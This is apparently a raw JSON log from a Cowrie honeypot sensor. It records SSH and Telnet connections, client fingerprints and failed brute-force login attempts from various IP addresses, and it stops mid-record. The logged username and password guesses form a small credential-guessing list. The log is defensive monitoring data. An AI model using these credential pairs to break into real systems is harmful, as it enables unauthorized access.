{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:20:44.668492Z","src_ip":"163.7.6.74","session":"373bdb7eccfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"toor","message":"login attempt [test1/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:20:45.699383Z","src_ip":"163.7.6.74","session":"373bdb7eccfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:20:46.953016Z","src_ip":"163.7.6.74","session":"373bdb7eccfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.163926362991333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:20:54.197741Z","src_ip":"69.6.249.0","session":"5a068da86de2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":38612,"dst_ip":"10.17.0.5","dst_port":22,"session":"6953209f8cf5","protocol":"ssh","message":"New connection: 103.15.226.202:38612 (10.17.0.5:22) [session: 6953209f8cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:20:59.547014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:20:59.551646Z","src_ip":"103.15.226.202","session":"6953209f8cf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:20:59.802756Z","src_ip":"103.15.226.202","session":"6953209f8cf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc1234@","message":"login attempt [root/abc1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:21:01.460983Z","src_ip":"103.15.226.202","session":"6953209f8cf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:21:02.717382Z","src_ip":"103.15.226.202","session":"6953209f8cf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.52481818199158,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:21:14.310084Z","src_ip":"212.55.149.117","session":"4e19d6b3ba00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":60382,"dst_ip":"10.17.0.5","dst_port":22,"session":"dacb5cf8640c","protocol":"ssh","message":"New connection: 2.57.121.112:60382 (10.17.0.5:22) [session: dacb5cf8640c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:21:39.963101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:21:39.970613Z","src_ip":"2.57.121.112","session":"dacb5cf8640c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:21:40.074529Z","src_ip":"2.57.121.112","session":"dacb5cf8640c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"paulina1","message":"login attempt [admin/paulina1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:21:40.563189Z","src_ip":"2.57.121.112","session":"dacb5cf8640c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"paste","message":"login attempt [admin/paste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:21:41.670817Z","src_ip":"2.57.121.112","session":"dacb5cf8640c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pasta1","message":"login attempt [admin/pasta1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:21:42.777419Z","src_ip":"2.57.121.112","session":"dacb5cf8640c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password23","message":"login attempt [admin/password23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:21:43.884709Z","src_ip":"2.57.121.112","session":"dacb5cf8640c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"passio","message":"login attempt [admin/passio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:21:44.991380Z","src_ip":"2.57.121.112","session":"dacb5cf8640c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:21:46.099095Z","src_ip":"2.57.121.112","session":"dacb5cf8640c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":59013,"dst_ip":"10.17.0.5","dst_port":23,"session":"20c662d72211","protocol":"telnet","message":"New connection: 212.55.149.117:59013 (10.17.0.5:23) [session: 20c662d72211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:21:54.478335Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":36360,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea20589e908b","protocol":"ssh","message":"New connection: 163.7.6.74:36360 (159.203.135.109:22) [session: ea20589e908b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:22:04.293714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:22:04.298285Z","src_ip":"163.7.6.74","session":"ea20589e908b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:22:04.547418Z","src_ip":"163.7.6.74","session":"ea20589e908b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smbuser","password":"smbuser","message":"login attempt [smbuser/smbuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:22:05.575868Z","src_ip":"163.7.6.74","session":"ea20589e908b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:22:06.827889Z","src_ip":"163.7.6.74","session":"ea20589e908b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":63710,"dst_ip":"159.203.135.109","dst_port":22,"session":"c20807de4f3f","protocol":"ssh","message":"New connection: 194.59.206.2:63710 (159.203.135.109:22) [session: c20807de4f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:22:19.903964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:22:19.909196Z","src_ip":"194.59.206.2","session":"c20807de4f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:22:20.000636Z","src_ip":"194.59.206.2","session":"c20807de4f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:22:20.096202Z","src_ip":"194.59.206.2","session":"c20807de4f3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":59340,"dst_ip":"159.203.135.109","dst_port":23,"session":"15ba18185993","protocol":"telnet","message":"New connection: 69.6.249.0:59340 (159.203.135.109:23) [session: 15ba18185993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:22:21.056956Z"}
{"eventid":"cowrie.session.closed","duration":57.48274326324463,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:22:51.960961Z","src_ip":"212.55.149.117","session":"20c662d72211","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":59316,"dst_ip":"159.203.135.109","dst_port":23,"session":"aba591a841a3","protocol":"telnet","message":"New connection: 69.6.249.0:59316 (159.203.135.109:23) [session: aba591a841a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:22:53.419704Z"}
{"eventid":"cowrie.session.closed","duration":32.46897912025452,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:22:53.525807Z","src_ip":"69.6.249.0","session":"15ba18185993","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":44178,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f51b83c6415","protocol":"ssh","message":"New connection: 163.7.6.74:44178 (159.203.135.109:22) [session: 9f51b83c6415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:23:10.680905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:23:10.685645Z","src_ip":"163.7.6.74","session":"9f51b83c6415","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:23:10.933228Z","src_ip":"163.7.6.74","session":"9f51b83c6415","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00tadmin123","message":"login attempt [root/r00tadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:23:11.959359Z","src_ip":"163.7.6.74","session":"9f51b83c6415","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:23:13.210464Z","src_ip":"163.7.6.74","session":"9f51b83c6415","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.75055432319641,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:23:25.170174Z","src_ip":"69.6.249.0","session":"aba591a841a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":1410,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a0b97b7015c","protocol":"telnet","message":"New connection: 212.55.149.117:1410 (10.17.0.5:23) [session: 3a0b97b7015c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:23:46.662261Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42394,"dst_ip":"159.203.135.109","dst_port":22,"session":"47ba00b51d64","protocol":"ssh","message":"New connection: 80.94.92.186:42394 (159.203.135.109:22) [session: 47ba00b51d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:23:48.715641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:23:49.007927Z","src_ip":"80.94.92.186","session":"47ba00b51d64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:23:49.012422Z","src_ip":"80.94.92.186","session":"47ba00b51d64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"jito","message":"login attempt [sol/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:23:49.593404Z","src_ip":"80.94.92.186","session":"47ba00b51d64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:23:51.026311Z","src_ip":"80.94.92.186","session":"47ba00b51d64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":59676,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8cb87efbdeb","protocol":"ssh","message":"New connection: 163.7.6.74:59676 (159.203.135.109:22) [session: c8cb87efbdeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:24:16.142905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:24:16.148008Z","src_ip":"163.7.6.74","session":"c8cb87efbdeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","d